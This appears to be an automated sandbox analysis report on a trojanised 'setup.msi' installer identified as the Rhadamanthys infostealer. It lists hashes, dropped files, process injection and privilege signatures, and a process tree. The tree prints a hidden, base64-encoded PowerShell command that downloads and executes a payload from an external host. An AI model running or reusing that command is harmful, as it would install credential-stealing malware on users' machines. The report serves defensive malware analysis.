Overview
overview
10Static
static
3x64__setup...xe.dll
windows10-2004-x64
1x64__setup...ep.exe
windows10-2004-x64
1x64__setup...PS.dll
windows10-2004-x64
1x64__setup...pi.dll
windows10-2004-x64
1x64__setup...np.dll
windows10-2004-x64
4x64__setup...te.dll
windows10-2004-x64
1x64__setup...OR.dll
windows10-2004-x64
1x64__setup...er.dll
windows10-2004-x64
1x64__setup...xt.dll
windows10-2004-x64
1x64__setup...al.dll
windows10-2004-x64
1x64__setup...Is.dll
windows10-2004-x64
1x64__setup...40.dll
windows7-x64
1x64__setup...40.dll
windows10-2004-x64
1x64__setup...ov.dll
windows10-2004-x64
1x64__setup...re.dll
windows10-2004-x64
1x64__setup...up.msi
windows7-x64
6x64__setup...up.msi
windows10-2004-x64
10x64__setup...ce.dll
windows10-2004-x64
7x64__setup...SP.dll
windows10-2004-x64
1x64__setup...ss.dll
windows10-2004-x64
1x64__setup...ct.dll
windows10-2004-x64
1x64__setup...bj.dll
windows10-2004-x64
1x64__setup...st.dll
windows10-2004-x64
7x64__setup...ct.dll
windows10-2004-x64
1x64__setup...in.dll
windows10-2004-x64
1Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240709-en - resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system - submitted
12/07/2024, 06:49
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
x64__setup__build_18957/Sysprep/en-US/sysprep.exe.dll
Resource
win10v2004-20240709-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral2
Sample
x64__setup__build_18957/Sysprep/sysprep.exe
Resource
win10v2004-20240709-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral3
Sample
x64__setup__build_18957/fmapi/SEMgrPS.dll
Resource
win10v2004-20240709-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral4
Sample
x64__setup__build_18957/fmapi/fmapi.dll
Resource
win10v2004-20240709-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral5
Sample
x64__setup__build_18957/fmapi/sppnp.dll
Resource
win10v2004-20240704-en
windows10-2004-x64
2 signatures
150 seconds
Behavioral task
behavioral6
Sample
x64__setup__build_18957/fmapi/tzautoupdate.dll
Resource
win10v2004-20240709-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral7
Sample
x64__setup__build_18957/hal/KBDKOR.dll
Resource
win10v2004-20240709-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral8
Sample
x64__setup__build_18957/hal/duser.dll
Resource
win10v2004-20240709-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral9
Sample
x64__setup__build_18957/hal/fontext.dll
Resource
win10v2004-20240709-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral10
Sample
x64__setup__build_18957/hal/hal.dll
Resource
win10v2004-20240709-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral11
Sample
x64__setup__build_18957/msvcp140/PeopleAPIs.dll
Resource
win10v2004-20240709-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral12
Sample
x64__setup__build_18957/msvcp140/msvcp140.dll
Resource
win7-20240705-en
windows7-x64
1 signatures
150 seconds
Behavioral task
behavioral13
Sample
x64__setup__build_18957/msvcp140/msvcp140.dll
Resource
win10v2004-20240704-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral14
Sample
x64__setup__build_18957/msvcp140/ngccredprov.dll
Resource
win10v2004-20240709-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral15
Sample
x64__setup__build_18957/msvcp140/provdatastore.dll
Resource
win10v2004-20240709-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral16
Sample
x64__setup__build_18957/setup.msi
Resource
win7-20240704-en
windows7-x64
11 signatures
150 seconds
Behavioral task
behavioral17
Sample
x64__setup__build_18957/setup.msi
Resource
win10v2004-20240709-en
windows10-2004-x64
17 signatures
150 seconds
Behavioral task
behavioral18
Sample
x64__setup__build_18957/spoolss/MSAMRNBSource.dll
Resource
win10v2004-20240709-en
windows10-2004-x64
2 signatures
150 seconds
Behavioral task
behavioral19
Sample
x64__setup__build_18957/spoolss/ReportingCSP.dll
Resource
win10v2004-20240709-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral20
Sample
x64__setup__build_18957/spoolss/spoolss.dll
Resource
win10v2004-20240709-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral21
Sample
x64__setup__build_18957/spoolss/stobject.dll
Resource
win10v2004-20240709-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral22
Sample
x64__setup__build_18957/sysmain/devobj.dll
Resource
win10v2004-20240709-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral23
Sample
x64__setup__build_18957/sysmain/eapphost.dll
Resource
win10v2004-20240709-en
windows10-2004-x64
2 signatures
150 seconds
Behavioral task
behavioral24
Sample
x64__setup__build_18957/sysmain/shacct.dll
Resource
win10v2004-20240709-en
windows10-2004-x64
0 signatures
150 seconds
Behavioral task
behavioral25
Sample
x64__setup__build_18957/sysmain/sysmain.dll
Resource
win10v2004-20240709-en
windows10-2004-x64
0 signatures
150 seconds
General
- Target x64__setup__build_18957/setup.msi
- Size 34.8MB
- Sample240712-hlmnrasfml
- SHA256 8735b260af2dd098418563efcc05d006f22239ba04108de94dbabc638dfd338f
- MD5 92e08e754cfaf2b872bd52f9c1491c24
- SHA1 a0447c63b8b5d0b85fce76390820a5ea78b0e8c7
- SHA512 3f2f7466e87020bef1137c219fff109cca44adbfda4a05aa2caba6ef9dc9be53a5b6cdd7c9738b32a43e45fd6b3f99fa814cecbfd2180877da5c7800631d9629
- SSDEEP 786432:BqTRkI57hVSZmlNdonqUuhGMCiEIS/vTis1MDN:Bq1T57jSZmGnqUezSTt
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://two-root.com/02074.bs64
Signatures
- Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 3992 created 2972 3992 explorer.exe 50 - Blocklisted process makes network request 3 IoCs
flow pid Process 17 436 MsiExec.exe 19 436 MsiExec.exe 30 4932 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4932 powershell.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\E: msiexec.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2180 set thread context of 3992 2180 rnpkeys.exe 94 - Drops file in Windows directory 16 IoCs
description ioc Process File created C:\Windows\Installer\e5785ab.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI8732.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI87B0.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI88CC.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB222.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8628.tmp msiexec.exe File opened for modification C:\Windows\Installer\e5785ab.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI87F0.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI889D.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSIA07C.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIA0BB.tmp msiexec.exe File created C:\Windows\Installer\SourceHash{1030558D-A61C-404B-B2E9-0D40475065DC} msiexec.exe File created C:\Windows\Installer\e5785af.msi msiexec.exe - Executes dropped EXE 2 IoCs
pid Process 4780 UnRAR.exe 2180 rnpkeys.exe - Loads dropped DLL 9 IoCs
pid Process 436 MsiExec.exe 436 MsiExec.exe 436 MsiExec.exe 436 MsiExec.exe 436 MsiExec.exe 436 MsiExec.exe 436 MsiExec.exe 436 MsiExec.exe 2180 rnpkeys.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 1 TTPs 1 IoCs
pid Process 1864 msiexec.exe - Program crash 3 IoCs
pid pid_target Process procid_target 3340 3992 WerFault.exe 94 3632 3992 WerFault.exe 94 4872 3992 WerFault.exe 94 - Suspicious behavior: EnumeratesProcesses 12 IoCs
pid Process 1544 msiexec.exe 1544 msiexec.exe 4932 powershell.exe 4932 powershell.exe 4932 powershell.exe 3992 explorer.exe 3992 explorer.exe 4932 powershell.exe 1344 openwith.exe 1344 openwith.exe 1344 openwith.exe 1344 openwith.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1864 msiexec.exe Token: SeIncreaseQuotaPrivilege 1864 msiexec.exe Token: SeSecurityPrivilege 1544 msiexec.exe Token: SeCreateTokenPrivilege 1864 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1864 msiexec.exe Token: SeLockMemoryPrivilege 1864 msiexec.exe Token: SeIncreaseQuotaPrivilege 1864 msiexec.exe Token: SeMachineAccountPrivilege 1864 msiexec.exe Token: SeTcbPrivilege 1864 msiexec.exe Token: SeSecurityPrivilege 1864 msiexec.exe Token: SeTakeOwnershipPrivilege 1864 msiexec.exe Token: SeLoadDriverPrivilege 1864 msiexec.exe Token: SeSystemProfilePrivilege 1864 msiexec.exe Token: SeSystemtimePrivilege 1864 msiexec.exe Token: SeProfSingleProcessPrivilege 1864 msiexec.exe Token: SeIncBasePriorityPrivilege 1864 msiexec.exe Token: SeCreatePagefilePrivilege 1864 msiexec.exe Token: SeCreatePermanentPrivilege 1864 msiexec.exe Token: SeBackupPrivilege 1864 msiexec.exe Token: SeRestorePrivilege 1864 msiexec.exe Token: SeShutdownPrivilege 1864 msiexec.exe Token: SeDebugPrivilege 1864 msiexec.exe Token: SeAuditPrivilege 1864 msiexec.exe Token: SeSystemEnvironmentPrivilege 1864 msiexec.exe Token: SeChangeNotifyPrivilege 1864 msiexec.exe Token: SeRemoteShutdownPrivilege 1864 msiexec.exe Token: SeUndockPrivilege 1864 msiexec.exe Token: SeSyncAgentPrivilege 1864 msiexec.exe Token: SeEnableDelegationPrivilege 1864 msiexec.exe Token: SeManageVolumePrivilege 1864 msiexec.exe Token: SeImpersonatePrivilege 1864 msiexec.exe Token: SeCreateGlobalPrivilege 1864 msiexec.exe Token: SeRestorePrivilege 1544 msiexec.exe Token: SeTakeOwnershipPrivilege 1544 msiexec.exe Token: SeRestorePrivilege 1544 msiexec.exe Token: SeTakeOwnershipPrivilege 1544 msiexec.exe Token: SeRestorePrivilege 1544 msiexec.exe Token: SeTakeOwnershipPrivilege 1544 msiexec.exe Token: SeRestorePrivilege 1544 msiexec.exe Token: SeTakeOwnershipPrivilege 1544 msiexec.exe Token: SeRestorePrivilege 1544 msiexec.exe Token: SeTakeOwnershipPrivilege 1544 msiexec.exe Token: SeRestorePrivilege 1544 msiexec.exe Token: SeTakeOwnershipPrivilege 1544 msiexec.exe Token: SeRestorePrivilege 1544 msiexec.exe Token: SeTakeOwnershipPrivilege 1544 msiexec.exe Token: SeRestorePrivilege 1544 msiexec.exe Token: SeTakeOwnershipPrivilege 1544 msiexec.exe Token: SeRestorePrivilege 1544 msiexec.exe Token: SeTakeOwnershipPrivilege 1544 msiexec.exe Token: SeRestorePrivilege 1544 msiexec.exe Token: SeTakeOwnershipPrivilege 1544 msiexec.exe Token: SeRestorePrivilege 1544 msiexec.exe Token: SeTakeOwnershipPrivilege 1544 msiexec.exe Token: SeRestorePrivilege 1544 msiexec.exe Token: SeTakeOwnershipPrivilege 1544 msiexec.exe Token: SeRestorePrivilege 1544 msiexec.exe Token: SeTakeOwnershipPrivilege 1544 msiexec.exe Token: SeRestorePrivilege 1544 msiexec.exe Token: SeTakeOwnershipPrivilege 1544 msiexec.exe Token: SeRestorePrivilege 1544 msiexec.exe Token: SeTakeOwnershipPrivilege 1544 msiexec.exe Token: SeRestorePrivilege 1544 msiexec.exe Token: SeTakeOwnershipPrivilege 1544 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1864 msiexec.exe 1864 msiexec.exe - Suspicious use of UnmapMainImage 2 IoCs
pid Process 3992 explorer.exe 3992 explorer.exe - Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 1544 wrote to memory of 436 1544 msiexec.exe 88 PID 1544 wrote to memory of 436 1544 msiexec.exe 88 PID 1544 wrote to memory of 436 1544 msiexec.exe 88 PID 1544 wrote to memory of 4780 1544 msiexec.exe 89 PID 1544 wrote to memory of 4780 1544 msiexec.exe 89 PID 1544 wrote to memory of 2180 1544 msiexec.exe 92 PID 1544 wrote to memory of 2180 1544 msiexec.exe 92 PID 2180 wrote to memory of 3992 2180 rnpkeys.exe 94 PID 2180 wrote to memory of 3992 2180 rnpkeys.exe 94 PID 2180 wrote to memory of 3992 2180 rnpkeys.exe 94 PID 2180 wrote to memory of 3992 2180 rnpkeys.exe 94 PID 3992 wrote to memory of 4932 3992 explorer.exe 100 PID 3992 wrote to memory of 4932 3992 explorer.exe 100 PID 3992 wrote to memory of 1344 3992 explorer.exe 102 PID 3992 wrote to memory of 1344 3992 explorer.exe 102 PID 3992 wrote to memory of 1344 3992 explorer.exe 102 PID 3992 wrote to memory of 1344 3992 explorer.exe 102 PID 3992 wrote to memory of 1344 3992 explorer.exe 102
Processes
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2972
-
C:\Windows\SysWOW64\openwith.exe"C:\Windows\system32\openwith.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1344
-
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\x64__setup__build_18957\setup.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1864
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1544 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 3B52C08ED0CDC81537BFAAB51F068ED42⤵
- Blocklisted process makes network request
- Loads dropped DLL
PID:436
-
-
C:\Users\Admin\AppData\Roaming\Troxbox Publish\TroxApp\UnRAR.exe"C:\Users\Admin\AppData\Roaming\Troxbox Publish\TroxApp\UnRAR.exe" x -p2161183588a "C:\Users\Admin\AppData\Roaming\Troxbox Publish\TroxApp\nijboq.rar" "C:\Users\Admin\AppData\Roaming\Troxbox Publish\TroxApp\"2⤵
- Executes dropped EXE
PID:4780
-
-
C:\Users\Admin\AppData\Roaming\Troxbox Publish\TroxApp\rnpkeys.exe"C:\Users\Admin\AppData\Roaming\Troxbox Publish\TroxApp\rnpkeys.exe"2⤵
- Suspicious use of SetThreadContext
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2180 -
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe explorer.exe3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3992 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -e JAB3AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBjAGwAaQBlAG4AdAA7ACQAYgBzAD0AJAB3AC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwAHMAOgAvAC8AdAB3AG8ALQByAG8AbwB0AC4AYwBvAG0ALwAwADIAMAA3ADQALgBiAHMANgA0ACIAKQA7AFsAQgB5AHQAZQBbAF0AXQAgACQAeAA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAHMALgBSAGUAcABsAGEAYwBlACgAIgAhACIALAAiAGIAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAQAAiACwAIgBoACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACQAIgAsACIAbQAiACkALgBSAGUAcABsAGEAYwBlACgAIgAlACIALAAiAHAAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAXgAiACwAIgB2ACIAKQApADsAZgBvAHIAKAAkAGkAPQAwADsAJABpACAALQBsAHQAIAAkAHgALgBDAG8AdQBuAHQAOwAkAGkAKwArACkAewAkAHgAWwAkAGkAXQA9ACAAKAAkAHgAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEANgA3ACkAIAAtAGIAeABvAHIAIAAxADgAfQA7AGkAZQB4ACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAB4ACkAKQA=4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4932
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 16644⤵
- Program crash
PID:3340
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 7324⤵
- Program crash
PID:3632
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 18604⤵
- Program crash
PID:4872
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 3992 -ip 39921⤵PID:1112
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 3992 -ip 39921⤵PID:4652
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 3992 -ip 39921⤵PID:5040
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e5785ae.rbs
- Size 25KB
- SHA256 33b5a3b78d81e4d45146c7bc0e759ccbc54438e713d194ee3608f699f0691b96
- MD5 9e65a719689c169e360e568ec4d6d4da
- SHA1 a4731b95b0bb1c63cafc5a448e92e510d5c35789
- SHA512 e97ac8e4f21f773b8c60aa5ca70f2ef9d1e56d1e6524182ea8e53122765c9bcf29fc847d8d1af57a72dcbe2e44be1cdc292a77c6fff38ebb38e37c32c008ad29
- SSDEEP 768:BdgvgluD4ARdMEqhO2Yc7NOuyI50Rq4YQbzEv+3KmIb0AtXrD32DW0hKAHiwzBJ/:HgvgluD4ARdMEqhO2Yc7NOuyI50Rq4Y4
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1sd5xjuk.nso.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Troxbox Publish\TroxApp\UnRAR.exe
- Size 494KB
- SHA256 e51021f6cb20efbd2169f2a2da10ce1abca58b4f5f30fbf4bae931e4ecaac99b
- MD5 98ccd44353f7bc5bad1bc6ba9ae0cd68
- SHA1 76a4e5bf8d298800c886d29f85ee629e7726052d
- SHA512 d6e8146a1055a59cba5e2aaf47f6cb184acdbe28e42ec3daebf1961a91cec5904554d9d433ebf943dd3639c239ef11560fa49f00e1cff02e11cd8d3506c4125f
- SSDEEP 6144:yY8mmN3YWYGAj9JwXScp39ioIKzKVEKfr01//bbh3S62Wt3A3ksFqXqjh6AusDyn:yY8XiWYGAkXh3Qqia/zAot3A6AhezSpK
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Troxbox Publish\TroxApp\nijboq.rar
- Size 334KB
- SHA256 d42015f09eaa5212b07312814d9084c58513682ac68ca9f14bebd6cb94ef850b
- MD5 0945c7ef09970797ba7329a1cde81fb2
- SHA1 73ec64ff01916ce7394a038111ffa51d83801baf
- SHA512 e8153b51a75b0ab865a5531cca22ac5129c6c955126b9289688efed879a95d8eb9be3958baef7e7fe65d6442604ecc82f3a60c0bf736c3ba76d36cdf11e6973a
- SSDEEP 6144:1XWHgHCf5Rst3SSSRgpMVt/mW8si8b4ibph4gH7MQnl66guuJp/u8h85lS4Oj/d:1XWVf5Rh3RKMVt/L8Q7h4MMSs6guuJpd
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Troxbox Publish\TroxApp\rnp.dll
- Size 1.0MB
- SHA256 de01f704428f539718b7e1872916569318dbca40c04477246335ab1685de9840
- MD5 5bd7e5ae463f7d7a506ea293408011a4
- SHA1 f2c1b20caec33afa03c7401e263ca911a186809f
- SHA512 a146bcf0d01dc744ee1429b3a66ab32fde5195a943d09254343fd17cddc8596952aa276dbba94012c015430dbfb0254957a8faa405032d300c9ef56953a5e528
- SSDEEP 12288:l8VU2fy8ct5nyuObxAjtQFjkmCoP1FgzaZfZCmJXX1B6js3AU8:oUAyFeAjtQemlNHD3H
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Troxbox Publish\TroxApp\rnpkeys.exe
- Size 780KB
- SHA256 14b6f5c640c73cdd99e5834e7a56ab3d2912abe623bf5e41946154dad69e5f26
- MD5 ae63517a3ce7949a2c084cd7541c2fd8
- SHA1 8dafa610a0c3aa6ee2e50f657c90757bfae80336
- SHA512 fd5a85d902b376226d14bafe7c9ad9aabfc5245c61e2c3c17d12227dccbd9aee3b21e59a9357349dabcdc5ecafda9fc2ab737e8f06d7b7490931648021b3c1f3
- SSDEEP 12288:TjDLTxDDpIpgsrjU70ry9MYpyuaEweqJc2FvjOJz5wLuczdpSlsCNK8hQ4QnnAWm:njxDDek4hl4QnAWgjHj40lDSUD
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\MSI8628.tmp
- Size 738KB
- SHA256 ca763693cc25d316f14a9ebad80ebf00590329550c45adb7e5205486533c2504
- MD5 b158d8d605571ea47a238df5ab43dfaa
- SHA1 bb91ae1f2f7142b9099e3cc285f4f5b84de568e4
- SHA512 56aef59c198acf2fcd0d95ea6e32ce1c706e5098a0800feff13ddb427bfb4d538de1c415a5cb5496b09a5825155e3abb1c13c8c37dc31549604bd4d63cb70591
- SSDEEP 12288:+0WEHqIw3Gy6hFWBZGNTph0lhSMXle1Gf5PsTcuvX:+xDf3z6hFWHah0lhSMXlKW547vX
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\MSI889D.tmp
- Size 1.1MB
- SHA256 81e0df47bcb2b3380fb0fb58b0d673be4ef1b0367fd2b0d80ab8ee292fc8f730
- MD5 1a2b237796742c26b11a008d0b175e29
- SHA1 cfd5affcfb3b6fd407e58dfc7187fad4f186ea18
- SHA512 3135d866bf91f9e09b980dd649582072df1f53eabe4c5ac5d34fff1aeb5b6fa01d38d87fc31de19a0887a910e95309bcf0e7ae54e6e8ed2469feb64da4a4f9e5
- SSDEEP 24576:K9kDPTH5c/nMbCwV3NSmzoDWD4aSbRConnbuZ53CffhpP9gY0dB0lAwvI/oE:K9kgMV3NSmzoDWM5LnbE53ChpP9gY0dJ
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\MSIA0BB.tmp
- Size 364KB
- SHA256 f9956417af079e428631a6c921b79716d960c3b4917c6b7d17ff3cb945f18611
- MD5 54d74546c6afe67b3d118c3c477c159a
- SHA1 957f08beb7e27e657cd83d8ee50388b887935fae
- SHA512 d27750b913cc2b7388e9948f42385d0b4124e48335ae7fc0bc6971f4f807dbc9af63fe88675bc440eb42b9a92551bf2d77130b1633ddda90866616b583ae924f
- SSDEEP 3072:PUfA3yHDH1pm0u7KsruE3+N+JmhGSN27xE2eNSuRWPwHefSGvY2/atQFP66aX0XI:UjHSPruE3so+DwugtY2CGFS5Di9bSOW
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\e5785ab.msi
- Size 34.8MB
- SHA256 8735b260af2dd098418563efcc05d006f22239ba04108de94dbabc638dfd338f
- MD5 92e08e754cfaf2b872bd52f9c1491c24
- SHA1 a0447c63b8b5d0b85fce76390820a5ea78b0e8c7
- SHA512 3f2f7466e87020bef1137c219fff109cca44adbfda4a05aa2caba6ef9dc9be53a5b6cdd7c9738b32a43e45fd6b3f99fa814cecbfd2180877da5c7800631d9629
- SSDEEP 786432:BqTRkI57hVSZmlNdonqUuhGMCiEIS/vTis1MDN:Bq1T57jSZmGnqUezSTt
- MD5 SHA1 SHA512 SSDEEP